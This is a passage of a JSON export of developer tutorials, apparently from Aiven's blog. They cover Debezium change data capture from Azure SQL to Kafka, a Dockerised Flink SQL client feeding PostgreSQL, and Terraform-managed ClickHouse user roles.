\u003e Networking** option\n* Add **Firewall rules** to enable the traffic from/to certain IP addresses. We'll check how to retrieve the list of IPs that Apache Kafka is using in a later stage of the tutorial.\n\n\n\n## Populate the database\n\nOnce the Azure SQL database is up and running, it's time to insert some data. To do this, we need to:\n\n* Navigate to the database details\n* Click on **Show database connection strings**\n\n![Database connection string](https://cdn.sanity.io/images/sczeoy4w/production/f2af835dd229099bb87c33d37ad1c98b9103fc69-1704x346.png)\n\nWe're going to use `mssql-cli` to connect to the database. If you don't have it already can review the [installation instructions](https://learn.microsoft.com/en-us/sql/tools/mssql-cli?view=sql-server-ver16).\n\nWe can connect to the Azure SQL database with the following command in the terminal:\n\n\n```\nmssql-cli -S \"\u003cDATABASE_HOST\u003e,\u003cDATABASE_PORT\u003e\" -d \u003cDATABASE_NAME\u003e -U \u003cDATABASE_USERNAME\u003e\n```\n\nWhere:\n* `\u003cDATABASE_HOST\u003e` is the Azure SQL database host from the Azure console\n* `\u003cDATABASE_PORT\u003e` is the Azure SQL database port from the Azure console\n* `\u003cDATABASE_NAME\u003e` is the name of the database\n* `\u003cDATABASE_USERNAME\u003e` is the username created during the SQL authentication phase of the configuration\n\nOnce connected, we can [enable change data capture](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sys-sp-cdc-enable-db-transact-sql?view=sql-server-ver16) at database level. The below command starts the creation of a set of new tables that logs all the changes in one or more target tables. We can enable CDC at database level with:\n\n```\nUSE mytest\nGO\nEXEC sys.sp_cdc_enable_db\nGO\n```\n\nWhere `mytest` is the name of the database. \nNext, we can create a table that we'll track later:\n\n```\nCREATE TABLE MY_BOOK(ID INT IDENTITY(1, 1) PRIMARY KEY, TITLE VARCHAR(300));\n```\n\nOnce the `MY_BOOK` table is created, enable change data capture on it with:\n\n```\nEXEC sys.sp_cdc_enable_table\n      @source_schema=N'dbo',\n      @source_name=N'MY_BOOK',\n      @role_name = NULL,\n      @supports_net_changes=1\nGO\n```\n\nWe can verify that the `MY_BOOK` table is being tracked by querying the system tables with:\n\n```\nSELECT \n    s.name AS Schema_Name, \n    tb.name AS Table_Name, \n    tb.object_id, \n    tb.type, \n    tb.type_desc, \n    tb.is_tracked_by_cdc\nFROM sys.tables tb\nINNER JOIN sys.schemas s on s.schema_id = tb.schema_id\nWHERE tb.is_tracked_by_cdc = 1\n```\n\nThe above query should show the `MY_BOOK` table with the `is_tracked_by_cdc` set to `1`, similar to the following:\n\n```\n+---------------+--------------+-------------+--------+-------------+---------------------+\n| Schema_Name   | Table_Name   | object_id   | type   | type_desc   | is_tracked_by_cdc   |\n|---------------+--------------+-------------+--------+-------------+---------------------|\n| dbo           | MY_BOOK      | 2099048     | U      | USER_TABLE  | 1                   |\n+---------------+--------------+-------------+--------+-------------+---------------------+\n```\n\nOnce the tracking is started, we are ready to insert some rows related to interesting books:\n\n```\nINSERT INTO MY_BOOK(TITLE) VALUES \n    ('HOW TO MAKE BREAD'),\n    ('IS LIFE WITHOUT TOMATO POSSIBLE?'),\n    ('HOW TO GET YOUNGER WITH PIZZA');\n```\n\nA query like `SELECT * FROM MY_BOOK` shows the three rows been stored in the table:\n\n```\n+------+----------------------------------+\n| ID   | TITLE                            |\n|------+----------------------------------|\n| 1    | HOW TO MAKE BREAD                |\n| 2    | IS LIFE WITHOUT TOMATO POSSIBLE? |\n| 3    | HOW TO GET YOUNGER WITH PIZZA    |\n+------+----------------------------------+\n(3 rows affected)\n```\n\n\n## Create an Aiven for Apache Kafka® service with Kafka Connect enabled\n\nThe target of our change data capture pipeline will be an Apache Kafka topic. If you don't have an Apache Kafka cluster available, you can use Aiven for Apache Kafka®:\n\n* Sign up for an the [Aiven account](https://aiven.io/signup) and navigate to the [console](https://console.aiven.io)\n* Click on **Create service**\n* Select Apache Kafka®\n* Select the cloud and region where the service to deploy to. Selecting the same cloud region where your RDS database is located minimizes latency.\n* Access the Aiven for Apache Kafka service page and enable the following: \n    * **Kafka Connect** to perform the change data capture\n    * **REST API** to browse the data from the Aiven console\n    * ``kafka.auto_create_topics_enable`` from the **Advanced configuration** section to automatically create topics based on the Kafka Connect configurations\n\n\n## Create a Change Data Capture process with the Debezium Connector\n\nOnce Apache Kafka is running, the next step is to setup the CDC pipeline. To do so we can head to the **Connectors** tab, select the **Debezium for SQL Server** connector and include the following configuration:\n\n```\n{\n    \"name\": \"mysourcedebezium\",\n    \"connector.class\": \"io.debezium.connector.sqlserver.SqlServerConnector\",\n    \"database.server.name\": \"mydeb\",\n    \"database.dbname\": \"\u003cDATABASE_NAME\u003e\",\n    \"database.hostname\": \"\u003cDATABASE_HOST\u003e\",\n    \"database.port\": \"\u003cDATABASE_PORT\u003e\",\n    \"database.user\": \"\u003cDATABASE_USER\u003e\",\n    \"database.password\": \"\u003cDATABASE_PASSWORD\u003e\",\n    \"table.include.list\": \"dbo.MY_BOOK\",\n    \"database.history.kafka.bootstrap.servers\": \"\u003cKAFKA_HOST\u003e:\u003cKAFKA_PORT\u003e\",\n    \"database.history.kafka.topic\": \"history\",\n    \"database.history.consumer.security.protocol\": \"SSL\",\n    \"database.history.consumer.ssl.key.password\": \"password\",\n    \"database.history.consumer.ssl.keystore.location\": \"/run/aiven/keys/public.keystore.p12\",\n    \"database.history.consumer.ssl.keystore.password\": \"password\",\n    \"database.history.consumer.ssl.keystore.type\": \"PKCS12\",\n    \"database.history.consumer.ssl.truststore.location\": \"/run/aiven/keys/public.truststore.jks\",\n    \"database.history.consumer.ssl.truststore.password\": \"password\",\n    \"database.history.producer.security.protocol\": \"SSL\",\n    \"database.history.producer.ssl.key.password\": \"password\",\n    \"database.history.producer.ssl.keystore.location\": \"/run/aiven/keys/public.keystore.p12\",\n    \"database.history.producer.ssl.keystore.password\": \"password\",\n    \"database.history.producer.ssl.keystore.type\": \"PKCS12\",\n    \"database.history.producer.ssl.truststore.location\": \"/run/aiven/keys/public.truststore.jks\",\n    \"database.history.producer.ssl.truststore.password\": \"password\"\n}\n```\n\nWhere:\n\n* `database.hostname`, `database.port`,  `database.password` are the Azure SQL connection parameters found in the Azure console\n* `database.server.name` is the prefix for the topic names in Apache Kafka\n* `database.history.kafka.bootstrap.servers` is the Apache Kafka hostname and port. If you're using Aiven, these are in the Aiven Console, under **Service \u003e Overview**.\n* `database.history.kafka.topic` is the topic that receives the definition of changes of data structures. This is useful when replicate the structures and data changes to a target SQL server database.\n* `table.include.list` lists the tables for which we want to enable CDC. In our case it's `dbo.MY_BOOK`.\n* All the `database.history.producer` parameters can be left unchanged since are pointing to internal truststores and keystores created in Aiven for Apache Kafka. If you're using a different Apache Kafka service, you might need to alter these.\n\nNote: You need to open the connectivity between the Azure SQL database and Apache Kafka. To do so, create a [virtual network](https://aiven.io/docs/tools/terraform/howto/vnet-peering-azure) or by add Apache Kafka's IPs in the Firewall rules. You can find the Kafka IPs with the following command using the [Aiven CLI](https://aiven.io/docs/tools/cli):\n\n```\navn service get \u003cAPACHE_KAFKA_SERVICE_NAME\u003e --json | jq '.connection_info.kafka'\n```\n\nApache Kafka IP addresses can change over time due to node replacement during maintenance windows or upgrades. If you're using Aiven and need fixed IP address for a service, read [how to define and manage static IP addresses](https://aiven.io/docs/platform/howto/static-ip-addresses).\n\n## Check the changes in Apache Kafka\n\nOnce the connector is up and running, we should see a topic named ``mydeb.dbo.MY_BOOK``, the concatenation of the ``database.server.name`` parameter and the RDS schema and table name. To do this, navigate to the Aiven console and:\n\n* Access the **Topics** tab\n* Click on the ``mydeb.dbo.MY_BOOK`` topic\n* Click on **Messages**\n* Click on **Fetch Messages**\n* Enable **Decode from base64**\n\nYou should see the same dataset we previously pushed to RDS appearing in JSON format in the topic:\n\n![CDC data appearing in Apache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/9c7b6a4f9f6792e9e9a69ade5a3d6f0a9d076898-1469x1073.png)\n\nNow, if you perform an `INSERT`, `DELETE`, and `UPDATE` in RDS using `psql` in the command line, such as the following:\n\n```\nINSERT INTO MY_BOOK (TITLE) VALUES ('WHEN IS PASTA OVERCOOKED?');\nDELETE FROM MY_BOOK WHERE TITLE='IS LIFE WITHOUT TOMATO POSSIBLE?';\nUPDATE MY_BOOK SET TITLE='HOW TO COOK BREAD' WHERE TITLE='HOW TO MAKE BREAD';\n```\n\nThe above changes should immediately be visible in the Aiven for Apache Kafka by clicking on the **Fetch Messages** button.\n\n![The last three changes being visualized in the Aiven for Apache Kafka topic](https://cdn.sanity.io/images/sczeoy4w/production/a0ce4892fb9fc92d0ec41b2f2a05895d45ee6ec2-1470x1027.png)\n\n## Conclusion\n\nSetting up a change data capture process from an Azure SQL database to Apache Kafka with the Debezium connector is a powerful way to stream inserts/updates/deletes to one or more consumers in real time. The Debezium CDC process with SQL server relies on change tables being created in the database, so some the source database needs some modifications to enable this functionality. \n\n## More resources\n\n* [Debezium SQL Server connector parameters](https://debezium.io/documentation/reference/stable/connectors/sqlserver.html)\n* [Create a SQL Server source connector with Aiven](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-sql-server)\n* [Enable Change Data Capture in SQL server](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sys-sp-cdc-enable-db-transact-sql?view=sql-server-ver16)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-12-11T09:46:24.713Z"},"internalTags":[{"_key":"5bfb15f318cf","_ref":"4fee17d2-f553-4f9f-8a5c-633a8b352c4c","_type":"tag"},{"_key":"acb1d9a59b47","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2023-12-19T11:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"White text over a blue background that reads \"Change Data Capture from Azure SQL to Apache Kafka with Debezium\". The Aiven logo, a red crab and white text with the word \"Aiven\" in lowercase, is in the lower left hand corner.","asset":{"_ref":"image-c8169e382dd43a97fa74c64b0ead1ba3d26c28e3-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/change-data-capture-azure-sql-to-apache-kafka"},"subtitle":"Implement a real-time change data capture workflow from an Azure SQL database using Aiven for Apache Kafka® and Debezium","tags":[{"_key":"e5fd70e82bea","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"4cfae6c760d7","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"efe25c2695d4","_ref":"6e718308-0932-4545-b8c2-c9df3013ec4e","_type":"tag"},{"_key":"964cce1658ff","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"}],"title":"Change Data Capture from Azure SQL to Apache Kafka® with Debezium"}
{"__i18n_lang":"en","_createdAt":"2023-08-07T07:00:19Z","_id":"1751eeb7-8ece-43a3-b3b9-2951b286eeab","_rev":"ZLvKaZvfbZlWBlGcpIpHyC","_type":"devArticle","_updatedAt":"2024-01-29T15:45:20Z","body":"[Apache Flink®](https://aiven.io/flink) is an open source framework for data processing in both stream and batch mode. It supports a variety of different data platforms, including Apache Kafka® and any JDBC database. Flink's superpowers come in a variety of languages: from the more traditional Java and Scala, all the way to Python. And for Python there is [pyFlink](https://nightlies.apache.org/flink/flink-docs-release-1.12/dev/python/installation.html) that you can use with the best Machine Learning libraries available.\n\nHowever, in the data world, one of the most commonly-known languages is SQL. From data analysts, to scientists and engineers, SQL is usually part of the toolkit of data practitioners. SQL provides an abstraction to data access and manipulation that goes beyond technologies and trends. You can use it to query your data no matter what the underlying tech is (with minor dialect differences).\n\nWith Apache Flink, you can define whole data pipelines in pure SQL using its [SQL Client](https://nightlies.apache.org/flink/flink-docs-release-1.14/docs/dev/table/sqlclient/). This blog post will get you set up with a local Docker-based platform for Apache Flink, including an SQL client.\n\n## Set up Apache Flink locally with Docker Compose\n\nAs mentioned above, Apache Flink is a very interesting technology and worth trying out. When evaluating a new tool, running it locally is a two-edged sword. On the one hand, you get the benefit of understanding its inner mechanism better. On the other, you also get the pain of the setup phase.\n\nTo skip the setup pain, try Docker. It offers tools as pre-packaged solutions portable to any guest OS with minimal effort.\n\nWhen looking around for content around Flink's SQL client I found [a demo on Apache Flink's website](https://flink.apache.org/2020/07/28/flink-sql-demo-building-e2e-streaming-application.html), which is quite good but not for casual experimentation. That's why I've created a lighter tutorial. This article, with its [related Github repository](https://github.com/Aiven-Open/sql-cli-for-apache-flink-docker), takes the minimal building blocks and provides a basic Flink functionality, expecting any data pipeline source or target to be available outside the containers. Before starting, make sure that both [Docker](https://docs.docker.com/engine/install/) and [Docker Compose](https://docs.docker.com/compose/install/) are installed.\n\nThe whole code is contained in the `Aiven-Open/sql-cli-for-apache-flink-docker` repository, which we can clone with the following call in our terminal:\n\n```bash\ngit clone https://github.com/Aiven-Open/sql-cli-for-apache-flink-docker.git\n```\n\nNow let's open the `sql-cli-for-apache-flink-docker` folder and start the docker compose:\n\n```bash\ncd sql-cli-for-apache-flink-docker\ndocker-compose up -d\n```\n\nThis will start 3 Apache Flink nodes in the background: a `jobmanager`, a `taskmanager` and the `sql-client`. We can review the details of the cluster like this:\n\n```bash\ndocker-compose ps\n```\n\nThis should show the three containers being in `Up` state:\n\n```bash\n                    Name                                   Command               State                Ports\n-------------------------------------------------------------------------------------------------------------------------\nsql-cli-for-apache-flink-docker_jobmanager_1    /docker-entrypoint.sh jobm ...   Up      6123/tcp, 0.0.0.0:8081-\u003e8081/tcp\nsql-cli-for-apache-flink-docker_taskmanager_1   /docker-entrypoint.sh task ...   Up      6123/tcp, 8081/tcp\nsql-client                                      /docker-entrypoint.sh            Up      6123/tcp, 8081/tcp\n```\n\nFlink's web UI is now available at `localhost:8081`. This is a useful tool for browsing information about Flink's status and the data pipelines we're going to create.\n![flink-web-ui](//cdn.sanity.io/images/sczeoy4w/production/5353838d005703ad72b60d947bd5ba3b1cc24828-1340x535.png \"The Flink web UI\")\n\n### Notes about setting up Docker Compose\n\nIn `docker-compose.yml` we map the `settings` subfolder to the `jobmanager` Docker container `/settings` folder. This way, settings files can be passed between host and guest, which is helpful if specific host generated files (e.g. Keystores) are needed for authentication.\n\nThe `data` subfolder is also mapped to the `taskmanager` and `jobmanager` containers. This is purely because I needed to provide the SQL example below, but could be useful in cases where we want to test Apache Flink behaviour against files in a local file system. The `data` subfolder contains a `test.csv` file with made-up data that we'll use to test Apache Flink.\n\n## Unleashing the power of SQL\n\nIf we want to play with Flink's SQL, we need to enter the `sql-client` container. We can do that by executing the following command in the terminal:\n\n```bash\ndocker exec -it sql-client /bin/bash\n```\n\nNow we're in, we can start the Flink's SQL client with\n\n```bash\n./sql-client.sh\n```\n\nThere we are! We have a fully functional SQL client that we can use to create data pipelines attaching to a variety of data sources and targets. As a little demo example we can query the `test.csv` file within the `flink-sql-cli-docker/data` folder by defining the associated Flink table within the SQL Client:\n\n```sql\ncreate table\n  people_job (\n    id INT,\n    name STRING,\n    job STRING,\n    salary BIGINT\n  )\n  WITH (\n    'connector' = 'filesystem',\n    'path' = 'file:///data/test.csv',\n    'format' = 'csv',\n    'csv.ignore-parse-errors' = 'true'\n    );\n```\n\nAnd we can query the table:\n\n```\nselect * from people_job;\n```\n\nWith the following results:\n\n```\n+/-                        id                      name                       job                    salary\n  +                         1                       Ugo           Football Player                    200000\n  +                         2                     Carlo    Crocodile domesticator                     30000\n  +                         3                     Maria         Software Engineer                    210000\n  +                         4                    Sandro               UX Designer                     70000\n  +                         5                   Melissa         Software Engineer                     95000\n```\n\nExit Flink's table view by pressing `Q`.\n\n::banner[A fully managed service for Apache Flink for all your real time ETL and streaming analytics use cases.]{ctaText=\"Start your free trial\" ctaLink=\"https://aiven.io/flink\" title=\"Aiven for Apache Flink®\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64.svg\" theme=\"dark\"}\n\n## Create a Data Target: PostgreSQL®\n\nLet's assume that we want to push the aggregated average salary and people count by job to a PostgreSQL® table. If you don't have a PostgreSQL instance, you can quickly create it with the following [Aiven's CLI](https://aiven.io/docs/tools/cli) command in a new terminal window:\n\n```bash\navn service create pg-flink   \\\n  -t pg                       \\\n  --cloud google-europe-west3 \\\n  --plan startup-4\n```\n\nThis creates a PostgreSQL instance (`-t pg`), in `google-europe-west3` with a `startup-4` plan. Let's wait for the service to be ready:\n\n```bash\navn service wait pg-flink\n```\n\nLet's create a target table `job_details` that we'll use to push data from Flink. From the same terminal window we can execute the following:\n\n```bash\navn service cli pg-flink\n```\n\nand then\n\n```sql\ncreate table job_summary (\n  job VARCHAR PRIMARY KEY,\n  avg_salary BIGINT,\n  nr_people BIGINT\n  );\n```\n\n## Create the SQL pipeline\n\nNow it's time to retrieve the connection parameters to PostgreSQL with the following command in a new terminal window:\n\n```bash\navn service get pg-flink \\\n  --format '{service_uri_params}'\n```\n\nThe output should be similar to the following:\n\n```\n{\n  'dbname': 'defaultdb',\n  'host': '\u003chostname\u003e.aivencloud.com',\n  'password': '\u003cpassword\u003e',\n  'port': '13039',\n  'sslmode': 'require',\n  'user': 'avnadmin'\n}\n```\n\nTake note of the `host`, `port`, `user`, `dbname` and `password` details above and use them to create a Flink table pointing to PostgreSQL. Paste the following SQL into Flink's SQL Cli, replacing `\u003chost\u003e` and so on with the values you just made note of.\n\n```sql\ncreate table\n  job_summary_flink(\n    job STRING,\n    avg_salary BIGINT,\n    nr_people BIGINT,\n    PRIMARY KEY (job) NOT ENFORCED\n  )\n  WITH (\n    'connector' = 'jdbc',\n    'url' = 'jdbc:postgresql://\u003chost\u003e:\u003cport\u003e/\u003cdbname\u003e?sslmode=require',\n    'table-name' = 'job_summary',\n    'username' = '\u003cusername\u003e',\n    'password' = '\u003cpassword\u003e'\n    );\n```\n\nNow let's create the SQL pipeline with the following command in Flink SQL Client:\n\n```sql\ninsert into job_summary_flink\n  select job,\n    avg(salary),\n    count(*)\n  from people_job\n  group by job;\n```\n\nWe should see an output from the SQL Client like this:\n\n```sql\n[INFO] Submitting SQL update statement to the cluster...\n[INFO] Table update statement has been successfully submitted to the cluster:\nJob ID: b2d8b019c6c6e3dc5fe63902a14c13a9\n```\n\nAnd we can now check that Flink's table has been correctly populated with the following SQL from Flink's CLI:\n\n```sql\nselect * from job_summary_flink;\n```\n\nwhich results in\n\n```sql\n+/-                       job                avg_salary                 nr_people\n  +               UX Designer                     70000                         1\n  +    Crocodile domesticator                     30000                         1\n  +           Football Player                    200000                         1\n  +         Software Engineer                    152500                         2\n```\n\nAnd also checking we can obtain the same result from PostgreSQL with the following command in the PostgreSQL client terminal window:\n\n```sql\nselect * from job_summary;\n```\n\nResulting\n\n```sql\n         job           | avg_salary | nr_people\n------------------------+------------+-----------\nUX Designer            |      70000 |         1\nCrocodile domesticator |      30000 |         1\nFootball Player        |     200000 |         1\nSoftware Engineer      |     152500 |         2\n(4 rows)\n```\n\n## Wrapping up\n\nThis article provides a way to get Apache Flink's SQL Client as a set of Docker containers. It expects additional data sources or targets to be available outside the container and can be used to start the learning journey into Flink. The sql pipeline example shows an integration between a local csv file and PostgreSQL. \n\n\nSome additional resources:\n* [Aiven for Apache Flink page](https://aiven.io/flink \"Aiven for Apache Flink\")\n* [Apache Flink Home page](https://flink.apache.org/)\n* [Apache Flink SQL Client](https://ci.apache.org/projects/flink/flink-docs-stable/dev/table/sqlClient.html)\n* [Apache Flink SQL Client Demo](https://flink.apache.org/2020/07/28/flink-sql-demo-building-e2e-streaming-application.html)\n* [Apache Flink Docker GitHub Repository](https://github.com/Aiven-Open/sql-cli-for-apache-flink-docker)\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [RSS feeds](https://aiven.io/developer/feed.xml) or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T07:00:15.597Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2021-05-06T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Pure SQL pipelines using Flink? Learn how to set them up with a local Docker-based platform for Apache Flink, including an SQL client!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5acd6ce14c8f5be2d1dedcbe6ae765a380851b6c-1200x628-jpg","_type":"reference"}},"metaTitle":"Apache Flink® SQL client on Docker"},"slug":{"_type":"slug","current":"/developer/apache-flink-sql-client-on-docker"},"subtitle":"Pure SQL pipelines using Apache Flink®? Learn how to set them up with a local Docker-based platform for Flink, including an SQL client!","tags":[{"_key":"840f4b1bf01c","_ref":"665d1689-e4a5-43d5-bfbe-a673d66b1a41","_type":"tag"},{"_key":"31591a5afbcb","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Apache Flink® SQL client on Docker"}
{"__i18n_lang":"en","_createdAt":"2023-08-23T07:56:07Z","_id":"1092241d-cf60-40cf-8e7f-eaf3e94eadd2","_rev":"m47zVAKzspt7UjVx7zHdGD","_type":"devArticle","_updatedAt":"2024-08-05T12:06:00Z","body":"This article shows by way of example how to set up user permissions for a Terraform project containing an [Aiven for ClickHouse®](https://aiven.io/clickhouse) service. It details how to grant:\n\n* Read-and-write access for users who need to write to the database (writer role)\n* Read-only access for users who need to read from the database (analyst role).\n\n## Prerequisites\n\n* [Download and install Terraform](https://www.terraform.io/downloads).\n* [Sign up](https://console.aiven.io/signup) for Aiven if you haven't already.\n* [Generate an authentication token](https://aiven.io/docs/platform/howto/create_authentication_token.html).\n\nFor information on what types of access you can grant to your project, see [Project members and roles](https://aiven.io/docs/platform/howto/manage-project).\n\n## Describe the setup\n\nImagine that you are collecting IoT measurements from thousands of sensors and these metrics are populated in Apache Kafka® topic ``iot_measurements``.\n\nYou may wish to create an Aiven for ClickHouse service along with a database containing IoT sensor measurements and\ncorrect permissions for two roles: the writer role (allowed to insert data) and the analyst role (allowed to query data).\n\n## Common files\n\nNavigate to a new folder and add the following files:\n\n### ``provider.tf`` file\n\n```toml\n   terraform {\nrequired_providers {\n   aiven = {\n   source  = \"aiven/aiven\"\n   version = \"\u003e=4.0.0, \u003c 5.0.0\"\n   }\n}\n   }\n\n   provider \"aiven\" {\napi_token = var.aiven_api_token\n   }\n```\n\nYou can set environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property so that you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\n### ``variables.tf`` file\n\nUse it for defining the variables to avoid including sensitive information in source control. The ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\n   variable \"aiven_api_token\" {\ndescription = \"Aiven console API token\"\ntype        = string\n   }\n\n   variable \"project_name\" {\ndescription = \"Aiven console project name\"\ntype        = string\n   }\n```\n\n### ``*.tfvars`` file\n\nUse it to indicate the actual values of variables so that they can be passed (with the ``-var-file=`` flag) to Terraform during runtime and excluded later on. Configure the ``var-values.tfvars`` file as follows:\n\n```toml\naiven_api_token     = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name        = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file\n\nConfigure the ``services.tf`` file as follows to set up the service with the database:\n\n```toml\nresource \"aiven_clickhouse\" \"clickhouse\" {\n   project                 = var.project_name\n   cloud_name              = \"google-europe-west1\"\n   plan                    = \"startup-16\"\n   service_name            = \"clickhouse-gcp-eu\"\n   maintenance_window_dow  = \"monday\"\n   maintenance_window_time = \"10:00:00\"\n}\n\nresource \"aiven_clickhouse_database\" \"measurements\" {\n   project                 = var.project_name\n   service_name            = aiven_clickhouse.clickhouse.service_name\n   name                    = \"iot_measurements\"\n}\n```\n\n* ``\"aiven_clickhouse\"`` resource creates an Aiven for ClickHouse service with the project name, the cloud name (provider, region, zone), the service plan, and the service name as specified in the ``services.tf`` file.\n* ``\"aiven_clickhouse_database\"`` resource creates a database with the project name, the service name, and the database name as specified in the ``services.tf`` file.\n\n## Writer role - read-and-write access\n\nConfigure the ``access-writer.tf`` file as follows to grant write permissions to users:\n\n```toml\n// ETL user with write permissions to the IoT measurements DB\nresource \"aiven_clickhouse_user\" \"etl\" {\n   project      = var.project_name\n   service_name = aiven_clickhouse.clickhouse.service_name\n   username     = \"etl\"\n}\n\n// Writer role that will be granted insert privilege to the measurements DB\nresource \"aiven_clickhouse_role\" \"writer\" {\n   project      = var.project_name\n   service_name = aiven_clickhouse.clickhouse.service_name\n   role         = \"writer\"\n}\n\n// Writer role's privileges\nresource \"aiven_clickhouse_grant\" \"writer_role\" {\n   project      = aiven_clickhouse.clickhouse.project\n   service_name = aiven_clickhouse.clickhouse.service_name\n   role         = aiven_clickhouse_role.writer.role\n\n   privilege_grant {\n   privilege = \"INSERT\"\n   database  = aiven_clickhouse_database.measurements.name\n   table     = \"*\"\n   }\n\n   privilege_grant {\n   privilege = \"SELECT\"\n   database  = aiven_clickhouse_database.measurements.name\n   table     = \"*\"\n   }\n}\n\n// Grant the writer role to the ETL user\nresource \"aiven_clickhouse_grant\" \"etl_user\" {\n   project      = aiven_clickhouse.clickhouse.project\n   service_name = aiven_clickhouse.clickhouse.service_name\n   user         = aiven_clickhouse_user.etl.username\n\n   role_grant {\n   role = aiven_clickhouse_role.writer.role\n   }\n}\n```\n\n* ``\"aiven_clickhouse_user\"`` resource creates a user that can connect to the cluster.\n* ``\"aiven_clickhouse_role\"`` resources creates a role that can be granted fine-grained privileges at the table level.\n* ``\"aiven_clickhouse_grant\".\"writer_role\"`` resource specifies the privileges and the scope of their application for the writer role using the ``privilege_grant`` nested configuration.\n* ``\"aiven_clickhouse_grant\".\"etl_user\"`` assigns the writer role to the ``etl`` user.\n\n## Analyst role - read access\n\nConfigure the ``access-analyst.tf`` file as follows to grant read access to users:\n\n```toml\n// Analyst user with read-only access to the IoT measurements DB\nresource \"aiven_clickhouse_user\" \"analyst\" {\n   project      = var.project_name\n   service_name = aiven_clickhouse.clickhouse.service_name\n   username     = \"analyst\"\n}\n\n// Reader role that will be granted insert privilege to the measurements DB\nresource \"aiven_clickhouse_role\" \"reader\" {\n   project      = var.project_name\n   service_name = aiven_clickhouse.clickhouse.service_name\n   role         = \"reader\"\n}\n\n// Reader role's privileges\nresource \"aiven_clickhouse_grant\" \"reader_role\" {\n   project      = aiven_clickhouse.clickhouse.project\n   service_name = aiven_clickhouse.clickhouse.service_name\n   role         = aiven_clickhouse_role.reader.role\n\n   privilege_grant {\n   privilege = \"SELECT\"\n   database  = aiven_clickhouse_database.measurements.name\n   table     = \"*\"\n   }\n}\n\n// Grant the reader role to the Analyst user\nresource \"aiven_clickhouse_grant\" \"analyst_user\" {\n   project      = aiven_clickhouse.clickhouse.project\n   service_name = aiven_clickhouse.clickhouse.service_name\n   user         = aiven_clickhouse_user.analyst.username\n\n   role_grant {\n   role = aiven_clickhouse_role.reader.role\n   }\n}\n```\n\n* ``\"aiven_clickhouse_user\"`` resource creates a user that can connect to the cluster.\n* ``\"aiven_clickhouse_role\"`` resources creates a role that can be granted fine-grained privileges at the table level.\n* ``\"aiven_clickhouse_grant\".\"reader_role\"`` resource specifies the privileges and the scope of their application for the reader's role using the ``privilege_grant`` nested configuration.\n* ``\"aiven_clickhouse_grant\".\"analyst_user\"`` assigns the writer role to the ``analyst`` user.\n\n## Execute the files\n\nRun the following command:\n\n```bash\nterraform init\n```\n\nThe ``init`` command performs initialization operations to prepare the working directory for use with Terraform. For this recipe, ``init`` automatically finds, downloads, and installs the necessary Aiven Terraform Provider plugins.\n\nNext, run the following command:\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nThe ``plan`` command creates an execution plan and shows the resources to be created (or modified). This command doesn't actually create any resources but gives you a heads-up on what's going to happen.\n\nIf the output of ``terraform plan`` looks as expected, run the following command:\n\n```terraform\nterraform apply -var-file=var-values.tfvars\n```\n\nThe ``terraform apply`` command creates (or modifies) your infrastructure resources.\n\n## More resources \n\n- [Aiven for ClickHouse® quickstart](https://aiven.io/docs/products/clickhouse/get-started)\n- [Create materialized views in ClickHouse®](https://aiven.io/docs/products/clickhouse/howto/materialized-views)\n- [Integrate ClickHouse® with Metabase, an open source BI tool](https://aiven.io/developer/clickhouse-metabase)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-30T07:56:04.421Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"82948dd951a4","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-23T07:48:51.992Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-40cf802b255997623fa798467b33c5c923244aff-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/manage-user-privileges-clickhouse-terraform"},"subtitle":"Configure read and write privileges for user groups in Aiven for ClickHouse® services using Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"e280b5bb0e54","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"},{"_key":"9f5bd43f5ce3","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"}],"title":"Manage user privileges for Aiven for Clickhouse® services using Terraform"}
